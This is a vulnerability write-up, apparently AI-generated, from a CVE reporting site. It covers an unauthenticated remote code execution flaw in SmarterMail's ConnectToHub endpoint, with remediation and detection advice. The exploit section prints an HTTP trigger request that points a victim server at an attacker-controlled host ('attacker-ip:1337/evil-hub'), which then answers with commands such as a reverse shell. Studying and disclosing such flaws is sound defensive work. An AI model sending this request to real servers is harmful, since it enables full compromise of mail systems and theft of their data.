CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24423

The 'Hub' of All Evils: SmarterMail Unauth RCE

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·5 min read·255 visits

Executive Summary (TL;DR)

SmarterMail left the 'SystemAdminSettingsController.ConnectToHub' endpoint wide open. An attacker can send a request telling the mail server to connect to a malicious 'Hub' server controlled by the attacker. Upon connection, the malicious server feeds the mail server commands, which are executed with high privileges. It is a text-book unauthenticated RCE rated CVSS 9.3.

A critical authentication bypass in SmarterTools SmarterMail allows unauthenticated attackers to trick the server into executing arbitrary OS commands by abusing the 'ConnectToHub' API.

The Hook: When Smart Mail Acts Dumb

SmarterMail is the 'Exchange alternative' for people who don't want the headache of managing Microsoft Exchange but still want the headache of managing an enterprise mail server. It's widely used by hosting providers and small-to-medium businesses. Because it handles email, it is effectively the nervous system of an organization, sitting on sensitive data and usually enjoying high privileges on the host OS.

In January 2026, researchers uncovered a flaw that is almost charming in its simplicity. Usually, Remote Code Execution (RCE) requires a complex chain of memory corruption or a Rube Goldberg machine of deserialization gadgets. Not this time.

CVE-2026-24423 is a logic flaw in the High Availability (HA) features of SmarterMail. Specifically, the feature designed to let servers talk to a central management 'Hub' was implemented without checking who was asking to initiate the connection. It's the digital equivalent of a bank vault that opens if you just ask it nicely.

The Flaw: Missing Authentication (CWE-306)

The vulnerability resides in the SystemAdminSettingsController, specifically within a method called ConnectToHub. In a secure application, any controller labeled 'SystemAdmin' should be locked down tighter than a drum, requiring a valid session, an administrative cookie, or an API key.

However, the developers missed the [Authorize] attribute (or its equivalent internal check) on this specific endpoint. This means the API is publicly accessible to anyone who can reach the server's HTTP port.

But the flaw isn't just that the door is unlocked; it's what lies behind the door. The ConnectToHub method takes a URL or IP address as input. Its job is to reach out to that address and establish a management link. The fatal mistake was trusting that the input would point to a legitimate SmarterMail Hub. Instead, it allows an attacker to point the victim server to a malicious rogue server.

The Code: Anatomy of a Mistake

While the exact source code is proprietary, we can reconstruct the logic based on the behavior and the patch. The vulnerable controller likely looked something like this pseudocode:

// VULNERABLE CODE PATTERN
public class SystemAdminSettingsController : ApiController
{
    // OOPS: Missing [Authorize] or [AdminRequired] attribute here
    [HttpPost]
    public IActionResult ConnectToHub([FromBody] HubConnectionRequest request)
    {
        // The server blindly takes the URL from the attacker
        var hubUrl = request.HubUrl;
        
        // And initiates a connection to it
        var connection = new HubConnection(hubUrl);
        connection.Connect(); // Creates the outbound connection
        
        // If the 'Hub' sends back commands during handshake, they get executed
        connection.ProcessDirectives(); 
        
        return Ok();
    }
}

The fix was brutal and effective: they deleted the code. In Build 9511, the ConnectToHub and ValidateRemoteInstances endpoints were removed or completely refactored to ensure they could not be called without a rigorous authentication context. This is the 'scorched earth' approach to patching, which is often the safest bet.

The Exploit: Phoning Home to Hell

Exploiting this requires two moving parts: the attacker's client (to send the trigger) and the attacker's server (to emulate a malicious Hub).

Phase 1: The Setup The attacker sets up a simple HTTP server (Python or Go) that mimics the SmarterMail Hub protocol. This doesn't need to be a full implementation; it just needs to respond to the initial handshake with a payload.

Phase 2: The Trigger The attacker sends a POST request to the victim:

POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: mail.victim-corp.com
Content-Type: application/json
 
{
    "url": "http://attacker-ip:1337/evil-hub"
}

Phase 3: The Execution The victim server receives the request and, obeying the logic, initiates an HTTP connection to http://attacker-ip:1337/evil-hub. The attacker's server accepts the connection and responds with a configuration packet containing OS commands (e.g., spawning a reverse shell or adding a user).

Because the SmarterMail service typically runs as SYSTEM on Windows to manage network ports and files, the resulting shell is fully privileged.

The Impact: Why You Should Panic

This is a CVSS 9.3 for a reason. It is Unauthenticated (anyone on the internet can do it), Low Complexity (the exploit is just a web request), and High Impact (Complete System Compromise).

Once the attacker has RCE, the game is over. They can:

  1. Read all emails: Corporate espionage, password resets for other services, intercepting 2FA codes.
  2. Deploy Ransomware: Encrypt the mail store and demand payment.
  3. Pivot: Use the mail server as a beachhead to attack the internal network (Lateral Movement).

Since mail servers are often trusted by other internal systems (allow-listed in firewalls), they make excellent jump boxes.

The Fix: Patching the Hole

SmarterTools addressed this in Build 9511 (released Jan 15, 2026). If you are running an older version, you are vulnerable.

Remediation Steps:

  1. Update Immediately: Download and install the latest build from the SmarterTools website.
  2. Verify Version: Ensure your build number is >= 9511.
  3. Audit Access: Check IIS or application logs for requests to ConnectToHub originating from unknown IPs prior to patching. This indicates you may have already been compromised.

Strategic Mitigation: Even after patching, ask yourself: Why is my administrative interface exposed to the entire internet? Use firewall rules or IIS restrictions to limit access to /api/v1/settings/sysadmin endpoints to known internal management IPs/VPNs only.

Official Patches

SmarterToolsSmarterMail Build 9511 Release Notes

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.09%
Top 75% most exploited

Affected Systems

SmarterTools SmarterMail (All versions prior to Build 9511)

Affected Versions Detail

Product
Affected Versions
Fixed Version
SmarterMail
SmarterTools
< 100.0.9511Build 9511
AttributeDetail
CWE IDCWE-306 (Missing Authentication for Critical Function)
Attack VectorNetwork (AV:N)
CVSS v4.09.3 (Critical)
Privileges RequiredNone (PR:N)
ImpactRemote Code Execution (System)
Exploit StatusActive Research / High Risk

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
T1059Command and Scripting Interpreter
Execution
CWE-306
Missing Authentication for Critical Function

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Known Exploits & Detection

VulnCheckAdvisory detailing the unauthenticated RCE via ConnectToHub API

Vulnerability Timeline

SmarterTools releases Build 9511 with fix
2026-01-15
Vulnerability details publicly disclosed (watchTowr, VulnCheck, CODE WHITE)
2026-01-23

References & Sources

  • [1]CODE WHITE Public Vulnerability List
  • [2]watchTowr Labs Blog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-54347
8.7

CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 2 hours ago•CVE-2026-54348
7.2

CVE-2026-54348: Second-Order SQL Injection in Froxlor API Layer

An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 4 hours ago•CVE-2026-54543
5.4

CVE-2026-54543: DNS Resource Record (RR) Injection in Froxlor DomainZones API

CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 4 hours ago•CVE-2026-42533
9.2

CVE-2026-42533: NGINX Map Directive and Regex Matching Pre-Auth Heap Buffer Overflow & Info Leak

CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.

Alon Barad
Alon Barad
7 views•7 min read
•about 4 hours ago•CVE-2026-55593
6.5

CVE-2026-55593: Persistent Administrative Hijacking via Cross-Site Request Forgery in Froxlor Ajax Router

Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.

Amit Schendel
Amit Schendel
4 views•8 min read
•about 6 hours ago•CVE-2026-62988
9.0

CVE-2026-62988: Multi-Factor Authentication and Credential Bypass in Froxlor API

An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.

Amit Schendel
Amit Schendel
8 views•6 min read